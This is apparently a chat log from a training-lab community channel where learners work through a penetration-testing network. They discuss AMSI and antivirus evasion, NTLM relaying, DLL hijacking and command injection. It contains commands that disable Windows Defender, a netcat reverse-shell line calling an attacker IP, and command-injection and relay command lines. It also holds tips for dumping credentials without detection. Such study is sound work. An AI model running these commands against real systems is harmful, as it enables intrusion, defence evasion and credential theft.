holo-network

[lone spruce]

suck it @chrome cave

[zenith delta]

It's modified per examples given in the links in the sections. Perhaps you could comment on depicted example not working

[zenith delta]

Are you even trying to be helpful? It's a requirement to modify it ..

[lone spruce]

Can you show me a screenshot of exactly where that code is

Because I’ve wrote the course and I’ve never seen that code before

[wind bobcat]

nematode.

[zenith delta]

First code box section 31, it's obfuscated

But I'm was referring to unmodified version of the second code box, which is depicted in the images of section 32

The image I supplied of my PowerShell terminal are what occurs

Otherwise I wouldn't have deviated in the first place

It's worth noting that amsitrigger does work as expected on the unmodified version of the first bypass from section 31

[lone spruce]

so then why not stick with it

I can’t help a lot if you’re jumping a bunch of places

so from my understanding the Powershell screenshot is of the BCsecurity bypass?

[zenith delta]

yes

[lone spruce]

@wind bobcat haelp I’ve never seen that error

[wise raft]

why ? we can't get the domain admin without S-SRV02

[livid shoal]

we can

[wise raft]

yes of course you can if you try Zerologon / Printnightmare which are not recommended. but personally I don't see how you can get a session with the remote ntlmrelay technique, the domain admin is supposed to connect to the FILE-SRV01 shares from the S-SRV02 machine, so if S-SRV02 is not operational you will not receive any SMB connection

[livid shoal]

well i can atleast say it works. have tried it out myself

[wise raft]

when did you try it ?

[livid shoal]

when it was released

[wise raft]

I see, it seems to be a recent problem, at the time of the release S-SRV02 was operational

[livid shoal]

what's the problem with s srv02?

like if u are talking about the trust relationship issue it existed always

[wise raft]

No it's not the trust relationship issue, S-SRV02 doesn't send SMB traffic to FILE-SRV01, I checked with wireshark, there is nothing, so I can't get a session with ntlmrelayx

[wind bobcat]

not in that sense. the machine is operational, like I told you, reboot the network.

[wise raft]

I already did

[wind bobcat]

nothing has changed on SRV02 since release.

[lone spruce]

@sterile epoch have you ever seen this error

[cinder notch]

This link (https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass/Program.cs) in task 31 doesn't exist, pretty sure it's here (https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/main/AmsiBypass.cs) now

[lone spruce]

Pretty sure Rasta and Hubble are just messing with us at this point changing the directory structure every week

[wind bobcat]

you could just link to the repo

[lone spruce]

the Rasta one is easy to find but the BC-Sec one is deep in there

[sterile epoch]

Looks like defender might be blocking it. Then just updated a ton of detection stuff the last week or so

But if you use loadassembly from powershell it doesn't always tell you that it failed to load because of amsi. Sometimes you get errors like that

[sterile epoch]

https://github.com/BC-SECURITY/Empire/blob/master/empire/server/common/bypasses.py

[fathom wave]

task 28 passing the leaked token via cookie seems not accepting, Can anyone give me a hint to make this?

[lone spruce]

youre not passing it via the cookie

youre retrieving it via the cookie

[vapid umbra]

hey anyone know how to escalate privileges in LSRV01

using docker

exploitation

Actually when i see for the SUID bit I got the docker and when I try to do it asks me a password

I tried both the password that I have found in the machine but didnt work

[lone spruce]

you don’t need a password for the privilege escalation

you’re copy and pasting the command from GTFOBins without understanding it

[vapid umbra]

can you explain me how its done ?

[wind bobcat]

well, for one, the first line is copying the docker binary to your current location and two it's setting the SUID bit

this is explained in the gtfobins page

and the last command is pretty easy to digest, you just need to read.

[vapid umbra]

Yahh I Got it thanks man

[hollow steeple]

Gave +1 Rep to @wind bobcat

[lone spruce]

Oh shoot, I was supposed to look at that

@wind bobcat I’m fairly busy with getting school sorted could you look at that?

TLDR just intercept and look at the JS

[cinder notch]

How do you turn off Windows Defender completely? I turned off real time protection but it’s still quarantining stuff on my test/dev vm.

[lone spruce]

registry foolishness

[cinder notch]

AV Evasion hard :/

I’ll get it soon enough

[thick topaz]

Need help on task 13. I have all subdomains in my hosts file and I discover the
What file is vulnerable to RCE and the pram - but I just get a 404 when I try command injection.

[wind bobcat]

shouldn't be /admin/

[thick topaz]

I tried that too, but I get a 302 redirect.

to inxed.php

*index.php

I can see the vouln pram in the .php file

I'm at a loss at this point 😅

[thick topaz]

Like this?

[wind bobcat]

that would be due to an invalid cookie

[nocturne rover]

hello just for clarification because i am redoing the network to gain more from it in the the task 12 says that we use LFI to bypass the 403 error but in theory we don't include files we read the file from the server to gain the the creds to log in the admin panel so isn't it a directory traversal attack? thank you in advance

[lone spruce]

oh I forgot about that task

so in a way yes. Youre using directory traversal as a part of LFI

[nocturne rover]

hm yes exactly but if it was an lfi we could get a shell from it am i right? thank you

[lone spruce]

not really. You would have to chain other things to it to get RCE

It is an LFI exploit

but youre also using directory traversal through the LFI to read files

[nocturne rover]

Even without the ability to upload and execute code, a Local File Inclusion vulnerability can be dangerous. An attacker can still perform a Directory Traversal / Path Traversal attack using an LFI vulnerability as follows.

correct

thank you!!!

[wind bobcat]

you can also gain rfi through it

[vernal veldt]

ay dios mio, building ThreatCheck, anyone done that?

[livid shoal]

https://github.com/Sq00ky/Compiled-Binaries

[vernal veldt]

thank you!

[hollow steeple]

Gave +1 Rep to @livid shoal

[vernal veldt]

can I ask for a nudge from someone who has done Task 29?

[vernal veldt]

ok this is silly. My custom http profile is not changing the code one iota, threatchecker says so. Am I missing a step here? 1. set custom profile with the new headers 2. click generate stager 3. copy code of grunt 4. use threat checker?

ohhhk so yea it does change it (when you download the binary from covenant) but then you can't edit the grunt template (or can you) to get thru the next detections?

[candid pendant]

hey guys I need your help on mission 20. I've tried to find some SUID binaries and found docker. When trying to PrivEsc I noticed that I cant root the machine using the GTFObins payload

The machine is not connected to the internet, hence I cant obtain root

any help please?

[upper rock]

you can't just copy and paste the command

[candid pendant]

oh

[upper rock]

as spooky said, you need to understand what it does and modify it

[candid pendant]

ok, thanks

got it! thanks

[vernal pilot]

why doesn't it work with the right name (||u.....||) then?

can someone give me a hint what I could be doing wrong with the proxychains.conf?
I've set chisel up on attacker and target and done the proxychains.conf on attacker as described, but ping won't work (neither to .33 nor .1)

[lone spruce]

ping won’t work with proxychains, only sshuttle

you’ll need to use other methods of verification

[wind bobcat]

iirc sshuttle doesn't carry icmp eithrr

[livid shoal]

hey, so in the windows web server, we upload a payload and download and execute the stager to get a reverse shell . SO i was writing this report. Can "Do not run web server with elevated privelages" be a possible solution? because the reverse shell gets us straight to nt authority. Is that right or will this always work no matter what user the web server is running from?

[vernal pilot]

oh! ok thx! 🙂

[vernal pilot]

okk.. ty

[hollow steeple]

Gave +1 Rep to @wind bobcat

[spark kayak]

Morning all, is there anyone around who can point me in the right direction on the syntax required to put the AMSI bypass into the GruntHTTP stager binary? I now have a clean binary as checked by threatcheck.exe, after making changes to the listener profile and the GUID string builder in the C# template.

[spark kayak]

I'm in the position where my binary is not getting flagged by defender, but when I run it on a windows 10 VM I am getting "Illegal Characters in Path", I have followed RastaMouse's guidance to change the string builder in the executor - but I get the same error message with and without

[spark kayak]

I’ve been on this one task for more than a week but I have to say I have learned so much it is unreal. What a fantastic learning experience. The AV bypass stuff is super interesting. Does anyone know if there are any tutorial rooms that break down AV bypass techniques into smaller discreet sections?

[spark kayak]

You can add an exception to the folder where you store your binaries and powershell scripts. You can turn off AV in the local group policy editor and making a change in your registry but it is much easier to create a folder for your test files and add that as an exception to Windows Defender. I then temporarily switch off real time protection, copy the binary from my host OS into that folder.

[livid shoal]

# disable scanning all downloaded files and attachments, disable AMSI (reactive)
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus
PS C:\> Set-MpPreference -DisableIOAVProtection $true

# disable AMSI (set to 0 to enable)
PS C:\> Set-MpPreference -DisableScriptScanning 1 

That does not disable it completely but good enough to proceed

[lone spruce]

That prevents privilege escalation on that machine but the attack is still there it doesn’t do anything about that

[lone spruce]

You dont. Well. I would recommend it. In theory you can add it to the beginning but that’s just going to be a pain. Just toss it into a file with the launcher code it generates. Also if you clean the code you don’t need and AMSI bypass really

[lone spruce]

It’s in the works

[lone spruce]

Could you send a screenshot of this?

[livid shoal]

yes but we wont get ntauthority then right?

[lone spruce]

Currently yes

But either way the attack is bad

I wouldn’t accept that as a valid mitigation

Cough cough check the filtering cough

[livid shoal]

yes yes I am writing about the filtering but was just thinking to add this too that if by anychance someone could bypass filtering, they cant get the administrative rights.

[lone spruce]

It would be a privilege mitigation but not an upload mitigation

[livid shoal]

right thanks

[spark kayak]

This is a copy of the GruntHTTP. However I get the same error message with GruntHTTP if I switch real time protection off to get it onto this VM.

[lone spruce]

And you don’t get that with a non modified grunt?

I would check over all your modifications again make sure you didn’t include anything weird that would cause that

[spark kayak]

So I get the same with the standard HTTP Grunt - I had to switch off real-time protection on the VM to get the binary on to the VM

I'll redownloading covenant and making sure I haven't accidentally changed something

[livid shoal]

@lone spruce one thing more, If I write in report that i disabled antivirus for mimikatz to run, would that be considered as a bad thing?

[lone spruce]

Yes

[lone spruce]

Reinstall, if it happens again open a GitHub issue

[livid shoal]

Then how can i not? like i tried everything running mimikatz from memory. no matter what i do it always gets detected

[wise raft]

Build your own custom mimikatz, check this : https://www.youtube.com/watch?v=9pwMCHlNma4&t=1590s&ab_channel=IppSec

[spark kayak]

I redownloaded Covenant, reset the HTTPGrunt stager code by copying from GruntHTTPStager.cs and then regenerated the Launcher to the same result. I'll look at raising an issue on github.

[spark kayak]

Just to be sure I rm'd my original installation entirely and started from scratch - same result.

[livid shoal]

hey but i just wanted to know that if i am using amsi bypass with Invoke-Mimikatz.ps1 file why does it still detect

like it shouldn't right?

because the amsi has already been bypassed?

like what i did in my earlier payload was creating a ps1 file and having amsi bypass in first half and reverse shell payload in second and it successfully executed that

Its so difficult for getting defender not detecting the file

I am doing this room like 10th time maybe but it just doesnt work without disabling detection. Even tried making custom mimilatz but it always detects

[livid shoal]

or can we do something like using procdump to dump the lsass and use mimikatz locally ? will that be a good idea and not considered as loud?

[lone spruce]

clean mimikatz

[lone spruce]

AMSI bypasses arent the end all be all they are just one piece to the puzzle

[livid shoal]

oh ok. and what about dumping lsass and downloading it to the attacker machine. Procdump shouldnt be detected by windows most probably as it is a signed software or i am wrong?

[spark kayak]

https://github.com/cobbr/Covenant/issues/332 - Done, hopefully that is helpful.

[lone spruce]

Are you using HTTPS?

[spark kayak]

If I change it http:// nothing loads

[wise raft]

Try to disable also the Cloud Delivered Protection, not only the real time protection

[spark kayak]

Exactly the same result - thanks for the suggestion

[hollow steeple]

Gave +1 Rep to @wise raft

[livid shoal]

yups covenant didnt work for me either. so i went with a simple powershell reverse shell

[spark kayak]

Thats my next effort - thanks

[wise raft]

Try this modified version of Covenant, It worked for me : https://gist.github.com/S3cur3Th1sSh1t/bf5935b5bff48f9f63bdbb4bcc9e8e3d, if you want to understand the details of the script, check this article (Covenant Section): https://s3cur3th1ssh1t.github.io/Customizing_C2_Frameworks/

[lone spruce]

@spark kayak I asked around. They suggest asking on the bloodhound slack

[spark kayak]

Thank you very much I will certainly look at that!

[hollow steeple]

Gave +1 Rep to @wise raft

[spark kayak]

Thanks Cry. I’ve not used slack before, I’ll look into it.

[spark kayak]

Hi Manan - which powershell reverse shell did you use?

[livid shoal]

revshells.com

[spark kayak]

I have tried the alternate version of Covenant and interestingly had the same output with the Powershell as I did the binary payloads - real-time protection off. It was driving me insane and I wondered if there something wrong with my setup, so I tried a simple netcat connection to a listener on kali and then generated an msfvenom reverse shell - both of which worked fine. I'm going to give Powershell Empire a go.

[spark kayak]

Thanks man - I finally have a working powershell reverse shell on test VM that bypasses AMSI and Defender

[hollow steeple]

Gave +1 Rep to @livid shoal

[livid shoal]

welcome :)

[devout crater]

Guys, I have problems in task 37, I cannot authenticate with the user w----t and its hash. any ideas??

[livid shoal]

use rdp

:)

with password

[rigid hemlock]

I cant dowload openvpn config every time I try I get 404

[devout crater]

Why can't I run Procmon on the server?

[lone spruce]

Because you don’t have permissions

there is no need to run procmon on the target

[livid shoal]

because u dont

[devout crater]

So how could the hijacking dll do?

[livid shoal]

download the exe running there

and test it on a

sandboxed

vm

[devout crater]

ok, thanks !!

[rigid hemlock]

how I can download open vpn config ? every time i try to download file I get page 404 not found error

[devout crater]

On the Tryhackme website, in access

[rigid hemlock]

I can access the page but download button doesnt work

[candid pendant]

I get the same error

[devout crater]

After having put the dll in a path, how can I run the binary so that it loads the dlls again?

[livid shoal]

again u dont. its a scheduled task just wait for it

[devout crater]

I waited 5 min and nothing

[wind bobcat]

support team has been made aware

[lone spruce]

Wait. Spooks. We’re the support team

https://tenor.com/view/pedro-monkey-puppet-meme-awkward-gif-15268759

[wind bobcat]

thm support team nimrod

[lone spruce]

You lost me

[wind bobcat]

jabab

[lone spruce]

What does jabab have to do with a scheduled task

[livid shoal]

lol

[livid shoal]

try resetting the network. it should work. or maybe u doing something wrong.

@devout crater from the ss you sent, yes u are doing it wrong

just try making a google search about it

the very first url will help u

[fading jungle]

hey, do you guys also having problem with vpn? it keeps d/c me every 4 minutes; don't we miss the keepalive in the *.ovpn?

[devout crater]

ok, thanks bro !

[hollow steeple]

Gave +1 Rep to @livid shoal

[wind bobcat]

the VPN issues you dimwit

[earnest hornet]

uuuuh

Is the server still broke?

@rigid hemlock @candid pendant

[earnest hornet]

And can you DM me your oepnvpon output log

oieon

OpenVPN*

Please:)

[fading jungle]

sure right away

thanks @earnest hornet ! refreshing the *.ovpn from the THM site worked wonders!

[hollow steeple]

Gave +1 Rep to @earnest hornet

[fathom wave]

S-SRV01 web-server Seems down,

it can be pinged from L-SRV01 but the web server not responding

Connection refuse to the curl request

Can any one help me?

I am in the latter part of the room, so any help will be highly appreciated.

[livid shoal]

have u url encoded the curl command?

[lunar iris]

is anyone else having trouble connecting to admin.holo.live?

[vernal pilot]

that's not a real hostname , is it?

[devout crater]

Can someone who has done the hijacking dll help me?

[chrome moon]

Does anyone know if the expected answer for task 43, the vulnerable application is in scheduled tasks? Or did you use some other task?

[fathom wave]

do we have a smb-share in DC-SRV01 ?

[timid coral]

does holo require much .net development? if so, can that be done from linux or does it pretty much require a windows dev box?

[lone spruce]

It does and it can be done through linux but you cant test anything

[livid shoal]

It does unless u can get some compiled binary from somewhere. Or if u wanna clean the c2, u can compile it again. But apart from that too, windows box is still required ahead at some point to test for dll hijacking.

[vapid umbra]

Hey guys ... need help in uploading file in S-SRV01

[timid coral]

hm. I was able to build a .net on linux in werath... I just don't know if the capibilities are on par. seem like i will set up a windows vm (SIGH) and try it both ways.

[low tree]

I need to set up the NTLM relay from the PC-FILESRV01 to the DC right? and not from S-SRV02 to the DC?
So in the that case (from pc-file to dc), i will need to turn off SMB services of the PC-FILESRV01 right?
cause actually tried by disabling smb on PC-FILE but won't be able to start a socks proxy on the DC USING ntlmrelay

[livid shoal]

u need a persistant connection to lsrv01 too

[livid shoal]

Submitting report for holo in like 5 seconds 👀

fingers crossed

and done!

omg

👀

[wind bobcat]

congrats to @livid shoal for submitting the first report

cc @lone spruce

[lone spruce]

@wind bobcat gib

[wind bobcat]

you've been gave

[livid shoal]

woah I am the first?!?! wow thanks :)

[hollow steeple]

Gave +1 Rep to @wind bobcat

[fading plover]

Does L-Serv01 restart if it crashes? I was getting a response and not getting any response now. I've tried regen of vpn.

[timid coral]

I gotta used picture today

Wanna see?

Damnit phone, why do you keep opening here?

[nocturne rover]

do anyone have the same issue with covenant thread pool starvation. ?

and then it overloads the vm

[chrome moon]

How do I compile Seatbelt for the server? I tried with various versions but it is still trying to download missing .net 3.5 (includes 2.0 ...)

[chrome moon]

Did it work? why would I put it there?

[twin karma]

No it didn’t work, you shouldn’t put it in the desktop

[chrome moon]

How did you get it working?

[fossil bane]

Finally done. Whoop

[nocturne rover]

well done

[devout crater]

Finally done. Thank you all very much for the help provided !!

[warped finch]

Im having trouble with the /etc/hosts configuration

10.200.194.33 holo.live

is this ok?

i cant acces vhost but i can list them with gobuster

[quiet raft]

You'll need to add an entry for each that you find

So if you found test.box.thm then you'd need an entry for that

[warped finch]

ohh ok! thanks!

[low tree]

When i try to logon to the S-SRV02 via rdesktop i got an error "The trust relationship between this workstation and the primary domain failed" is that wanted?

[wind bobcat]

it's not intended, it's technically a bug, it's an issue we can't fix

basically, even if you could logon to the device, you'd get kicked off in about half s second due to that device being starved for resources

[low tree]

So what i can do to end the room now? Switch to an another subnetwork? (actually on the .69 net)

[timid coral]

g'evening

[nocturne rover]

Until when the report must be submitted?

[honest sand]

Before 15 September iirc

[candid yarrow]

i cant still not download the openvpn file allways get 404

[spark kayak]

Is the timer of the scheduled task quite long? I managed to catch a shell once, I then disabled SMB rebooted but I'm not getting my shell back. I can log in as the user found earlier, all my poisoned dlls are present but they are not being triggered

[velvet fossil]

hey everyone. Ive been on this room for a couple weeks. spent a long time on av evasion and getting my binary to bypass detection. Im now at the file upload stage and while im receiving a succesful upload message, i havent been able to find the location of the file. Id appreciate help thanks

[spark kayak]

Hi shay - I dm'd you

[spark kayak]

Can someone help me please. I have redone task 47 about 6 or 7 times with slightly different combinations, but I cannot get authentication against the DC. I now have persistence on .35 I have reset the network about three times. I have not altered any passwords, but I did add an extra local account on .35. SMB was definitely off before I started ntlmrelayx.py.

[spark kayak]

Does anyone know if there is another way to get the last flag - I really want to put this to bed now.

[nocturne rover]

how do you detect the missing dll via process hackeer 2?

[tardy idol]

@wind bobcat can I dm you a question about holo network?

[zenith delta]

im very lost in the creating the amsi part 😩

[wind bobcat]

you can post your question here

[tardy idol]

Think I figured out a way to authenticate to the broken S-SRV02 machine but if there is no other way other than ||NTLM-Relay||. To Auth with the 02 machine. Than I want to ask if I could be provided a valid set of creds so I can figure out if it would work or not.

[wind bobcat]

you shouldn't be attempting to auth to S-SRV02

authentication won't work para nada.

[tardy idol]

@wind bobcat well I can't prove anything since I don't have valid creds to auth/pass/0r relay since the STATUS_TRUSTED_RELATIONSHIP_FAILURE Error.

[wind bobcat]

you don't need to prove anything, this is me telling you that authentication to S-SRV02 will not work

[tardy idol]

I have like half a proof.

that's why I'm asking for creds to test my theory...

for the borked machine

[wind bobcat]

authentication to the machine will not work

period

[tardy idol]

can you give me the info to at least try?

[wind bobcat]

the SAM database doesn't work

LSASS won't work due to the fact that it's not trusted by the domain controller

[tardy idol]

well I can get it to say creds invalid so idk

[wind bobcat]

since the machine has been restarted since it has been cloned, no credentials are in the LSASS database

[tardy idol]

idk what you have tried

[wind bobcat]

everything

it's a combination of the issue of resource exhaustion and a trust failure

[tardy idol]

if nothing works I gain nothing from having creds to test

I have done everything else

just want to answer this question.

[wind bobcat]

I can't give it to you.

[tardy idol]

well then I can't test anything

[wind bobcat]

exactly, this is me telling you no

kek

[tardy idol]

How does one help make tryhackme better if they can't test anything

[wind bobcat]

I myself am currently in the process of leaving THM in terms of content creation, so it's not my authority anymore.

[tardy idol]

ok

[wind bobcat]

plus, proprietary scripts live on that machine so that's yet another reason that I can't Grant access to the machine :p

the machine was deemed to add no value to the network.

[tardy idol]

Well I found value that I would like to test.

;'..;'

[lone spruce]

the machine isn’t working

you’ve gotten an answer

[tardy idol]

@lone spruce I need your help may I dm you

[lone spruce]

coming to me when spooks said no isn’t going to change anything

[tardy idol]

again

[lone spruce]

no you may not

[tardy idol]

ok

[lone spruce]

There should no longer be any questions connected to that machine

there is no reason to attack it

[tardy idol]

I'm trying to improve my windows skills. I see something I just need help testing it since there is no way I could get it because of the STATUS_TRUSTED_RELATIONSHIP_FAILURE

[wind bobcat]

the local admin account is the only way to gain access, since there's an issue with the SAM database, there isn't a way to access the local admin account.

[lone spruce]

We didn’t just pull the machine for no reason

[lone spruce]

You’re not going to fix that error. It’s broken as stated many times

AWS gods just said, nah

[tardy idol]

well idk what else to do. Other than solder on alone.

[lone spruce]

@tardy idol I’m confused what you’re even trying to do? There is no relevance to that machine anymore

[tardy idol]

@lone spruce I guess that doesn't matter anymore.

[lone spruce]

Oh

I just read back over the conversation

we can’t just give you over machine creds

this has been looked over by a lot of people and we have concluded it is a deeper issue than it seems

[tardy idol]

It's ok just got excited over nothing.

[signal lava]

@lone spruce is this a broken part of the network that should otherwise be functioning?

@wind bobcat

[lone spruce]

@signal lava I DMed you babes

[signal lava]

kk

[zenith delta]

i just crashed s-srv01 server

is there a way to reboot it ? it have only one vote

[tardy idol]

@zenith delta what sub net are you on?

@zenith delta if no one is there to reset you can add one vote every hour

[zenith delta]

im on 10.200.183.xx

[zenith delta]

okay

[tardy idol]

I'm on 186 I can't add a vote....

[zenith delta]

okay np

[spark kayak]

Morning everyone (just after 4am UK time), I was just wondering if there was anyone around who had a chance to look at my issue on the last but task?

I am failing to authenticate to the DC using ntlmrelayx

I have tried resetting the network a few times - I have followed the instructions to the letter but I just can't seem to get that last part. I am on the 192 sub.

[livid shoal]

type socks

when ntlmrelayx is running

if no socks route is created, you have to create one to the l-srv01 with sshuttle

[spark kayak]

ntlmrelayx.py -t 10.200.192.30 -smb2support -socks
sshuttle -r linux-admin@10.200.192.33 10.200.192.0/24 -x 10.200.192.33

so in order I join the VPN

run sshuttle

then get my metasploit shell from .35

run the ntlm relayx

and then add the portfwd in meterpreter

I can also run wireshark on .35 and see the refused authorisation

I bet I am doing something really stupid but for the life of me I can't work it out

[livid shoal]

@spark kayak try this

also use smbexec if not already

[lone spruce]

@spark kayak if you run an nmap script scan against the DC does SMB signing return enabled or disabled?

[spark kayak]

enabled but not required

[lone spruce]

sshuttle will cause weirdness with scanning so please use something else

huh

[livid shoal]

well double proxychains seems complicated 👀 sshuttle worked for me

[spark kayak]

literally type the word 'socks'?

[lone spruce]

don’t scan over sshuttle

[livid shoal]

yes

[lone spruce]

that’s dumb

[livid shoal]

but how would you do it with chisel then? double proxychains how?

[lone spruce]

You don’t need a double proxy for scanning

[spark kayak]

use chisel instead of sshuttle to get on to LSRV01?

or direct to FILESRV-01

[livid shoal]

well, sshuttle worked for me dk if somethings weird for u? type socks in ntlmrelayx input field. u will know if even a socks relay is created or not

[spark kayak]

I'll give it a go thanks

socks
[*] No Relays Available!

is my syntax for sshuttle wrong?

sshuttle -r linux-admin@10.200.192.33 10.200.192.0/24 -x 10.200.192.33

[wind bobcat]

in your command here, you don't have smb://10.200.192.30. Did you do that or no?

[spark kayak]

no!

I'll try that now

[wind bobcat]

if that doesn't work, going down the list:

• Did you install these two packages? apt install krb5-user cifs-utils
• Are you using the latest version of impacket? If so, this might be a bug in the current version. It was tested on v0.9.22 and confirmed working.

[spark kayak]

I installed the first two packages. I'll give a different version of impacket a go. thanks

got the same result with smb://

[] SMBD-Thread-11: Received connection from 127.0.0.1, attacking target smb://10.200.192.30
[-] Unsupported MechType 'MS KRB5 - Microsoft Kerberos 5'
[-] Authenticating against smb://10.200.192.30 as HOLOLIVE\SRV-ADMIN FAILED
socks
[] No Relays Available!
ntlmrelayx>

[spark kayak]

it was the impacket version!

changed to 0.9.22 and it worked first time

[spark kayak]

thank you very much!

[hollow steeple]

Gave +1 Rep to @wind bobcat

[wind bobcat]

cool, good to know

cc @lone spruce

[lone spruce]

Of course it was god awful impacket

[spark kayak]

Thanks guys I'm so pleased. I have put a lot of time into Holo over the last couple of weeks but I have to say it has been an amazing learning experience. I feel like I learned so much from where I dead-ended myself and had to work my way back out. The AV bypass section is brilliant and I have to say I felt pretty ninja when my bypass worked. Thanks for everything again!

[wind bobcat]

I added a couple of troubleshooting steps to the task @lone spruce

[candid yarrow]

hololive openvpn still not downloadable 404 error

[wind bobcat]

cc @earnest hornet

[earnest hornet]

@clear zephyr Can you check the HoloLive VPN server please? :)

[outer raven]

Hi ! I'm having some difficulties with task 10 : I can't find the file that leaks the server's current directory. I managed to answer the 2 other question in the task though. I used go buster to enumerates the file of the 3 subdomains with the -x parameter set to html,php,txt. Can someone tell me if I missed something please ?

[wind bobcat]

you likely just overlooked it. It should definitely be in your scan results

if not, this is a file you should check anyways

[outer raven]

Found it ! Thanks ! I feel kinda dumb as it's a thing i usually check ^^'

[worldly spruce]

IM having some problems with the vhost enumeration, could anyone assist with where I am going wrong please?

scrap previous I was being lame

[vapid umbra]

hey

can anyone tell me what should I have to do with AV evasion

is it just a theory or I have to practice it on the machines ?

[wind bobcat]

it needs to be done

not theory

[woven lava]

Hello people, I finally completed my report and wanted to send it in but my sub expired. Can anyone send the email where to mail?

[vapid umbra]

[e-mail]

[woven lava]

Thanks 😄

I hope the THM gods liked it

[lone spruce]

ree

thank you whoever that was

[woven lava]

Cry, how many submissions have there been?

[lone spruce]

dos

[woven lava]

Tres by tonight

[woven lava]

@lone spruce can I DM you something trivial?

[serene sand]

Hey gang, just got the THM email and Holo sounds cool.

Where it says “subscribers only network “ is that just the regular £8 subscription or do you have to pay again just for the Holo network?

[wind bobcat]

the standard thm vip sub

[serene sand]

Thanks for replying 🙂 I’ll resub to check it out

[hollow steeple]

Gave +1 Rep to @wind bobcat

[warped finch]

is extreme lag on mysql, task 17 normal?

like 30 secs to return databases

[livid shoal]

didn't u won a sub

👀

in the giveaway

[woven lava]

Nopes

None that I know of

Wait, did I?

Thanks @livid shoal, I just noticed it.

[hollow steeple]

Gave +1 Rep to @livid shoal

[livid shoal]

lolllllll

[woven lava]

I'll save it up for later as am taking sometime off Ctfs and focusing on completing all my pending projects

[livid shoal]

yeah

@woven lava btw I finally found a way to dump the creds

without getting

detected

:)

[woven lava]

Me too xD

Lemme DM you

[livid shoal]

lol yea sure I'll too

[woven lava]

Hey Cry/Sapuki can you just confirm if you got my mail, else my anxiety would go

[wind bobcat]

you sent something?

[woven lava]

Yes, a report 👉 👈

[wind bobcat]

I didn't get a report

[lone spruce]

spooks

Im going to hurt you

[wind bobcat]

LET ME HAVE MY FUN CRY

[woven lava]

Lemme check

[wind bobcat]

smh my h

yes we received the report, were looking it over now, lol

[woven lava]

Thanks

I hope you like it :))

The Anxiety when someone reviews your work

[river cradle]

👀

did you receive my report?

[wind bobcat]

no szy

[river cradle]

:(

[night widget]

just submitted my report 🙂

[wind bobcat]

recieved

[worldly spruce]

pulling my hair out with the rce fuzz in task 13 lol

[wind bobcat]

make sure you use a valid cookie

[worldly spruce]

so use the -b and add the phpsessionid for once I have logged in?

[wind bobcat]

if that's what the particular syntax is for the tool you're using, then yes

[worldly spruce]

may I dm you my syntax as I don't seem to be turning up much in the way of results lol

[wind bobcat]

you can post it here

[worldly spruce]

ok

[frigid nacelle]

[worldly spruce]

||wfuzz -u http://admin.holo.live/dashboard.php?FUZZ=ls+-la -w /usr/share/seclists/Discovery/Web-Content/big.txt --hw 2||

[wind bobcat]

syntax looks right, you're just missing the cookie

[worldly spruce]

doh I copied the wrong text apologies wait a second

[worldly spruce]

||└─# wfuzz -u http://admin.holo.live/dashboard.php?FUZZ=ls+-la -b PHPSESSID=j89rsbijtc59mdr9vdmhvptee4 -w /usr/share/seclists/Discovery/Web-Content/big.txt --hw 2||

[night widget]

converting markdown to pdf to your desirable liking is a skill on it's own imo

[river summit]

Network 10.200.69.xx needs a reset, L-SRV01 only comes up with ssh, no web anymore
And vote for reset is not within range...

[timid coral]

remeber to vote once per hour

[river summit]

yeah, only 25 to go now 😛

[timid coral]

@wind bobcat Is tehre any faster way to reset?

[river cradle]

@timid coral @river summit yes, by leaving the room and re-joining until you get assigned to a subnet that isn't for testing (like .69. is)

it got a lot of people assigned to it by mistake, if you get reassigned to another one, those won't have as many people

[timid coral]

oo. forgot about that. thank you for reminding me

[river summit]

ahhh, nice thaks

[lone spruce]

cc @outer junco network range full?

[timid coral]

thank you 🙂

[hollow steeple]

Gave +1 Rep to @river cradle

[sudden grove]

Hi there ! I want some hints on task 40 . Still not find out the way to execute sealbelt.

I executed applock-bypas-check.ps1 and found some path. But I try it all and that is no way to execute exe.

[lone spruce]

What do you mean no way to execute exe

that could mean a variety of things

[timid coral]

hihi cry

[storm laurel]

Scanning the webserver is telling my port 80 is closed, but the question is asking me what service is running on port 80 😐 Could someone give me a nudge in the correct direction

[livid shoal]

woah so many people sent reports lmao 😂 I thought competition was not thathard

[livid shoal]

U will win

[river cradle]

I won't

[worldly spruce]

Is anyone available to assist with task 13 please?

[night widget]

Do we get like feedback on the report we submit? Albeit short bullet points of improvements to make, not like a teacher that reviews your assignment paper?

[timid coral]

I have a minute or two, just ask the question here

[worldly spruce]

curl -vvv --cookie "j89rsbijtc59mdr9vdmhvptee4" http://admin.holo.live/dashboard.php?cmd=whoami I am getting a 302

I am not sure what I am doing wrong here lol

[timid coral]

I used -b $'PHPSESSID='"$PHPSESSID" for the session id, either way I think you need the PHPSESSID part to tell the server what it is

[worldly spruce]

I will give that a go thanks

[timid coral]

I actually did it in a browswer with burp, then went to the history and copied the request as curl command, then just turned the session id into an environment variable to run it as curl

but no reason you would need to do all that

[worldly spruce]

The page is loading now correctly so deffo the right cookie command, just no whoami returned lol

oh bloody hell it was there the whole time

lol

thanks @timid coral

[timid coral]

🙂

[timid coral]

so was the term "PHPSESSID" required?

[worldly spruce]

Yes, and the output was being put into the visitors today field on the page when rendered, I was expecting it to be returned in the response source like a lfi would, today I learnt lol

[timid coral]

Cool 🙂

[worldly spruce]

cmd=nc -e /bin/sh 10.50.XXX.XX 1234 HTTP/1.1 is not working I am positive it is because the command is being broken up in the request, any pointers?

[devout musk]

is holo god is here

[livid shoal]

lol

[livid shoal]

ah i just copy pasted the rev shell command in a browser lol

[devout musk]

is there anybody who nmap scan still showing web port and sql port

[timid coral]

url encode your spaces. s/ /+/g

[timid coral]

on which subnet?

[devout musk]

10.200.186.xxx

[timid coral]

yea- not my subnet, sorry, cant answer

[devout musk]

is your working

[timid coral]

yea

took -for-ever- to start tho

[devout musk]

https://tenor.com/view/sad-baby-frown-cry-tantrums-gif-4649018

https://tenor.com/view/bunny-rabbit-sad-tired-drag-gif-11453485

mine 2 ports are down

and 1 day left

[lone spruce]

About the only thing I can suggest without more information is to restart the network

[honest sand]

Can i access holo even after my subscription ends and the room isn't completed?

[livid shoal]

no

[sudden grove]

Hi. According to the script applock-bypas-check.ps1 output. I enumerate it all by the follow step: first I check if the folder is writeable to my current account. Then got one folder can write file to. Then I copy the exe file to this folder than execute it. It prompt Access is denied . It is the first time I try this tech and please tell me what I was doing wrong.

[sudden grove]

Awesome. I found that there is a reference. Now I understand it.

[storm laurel]

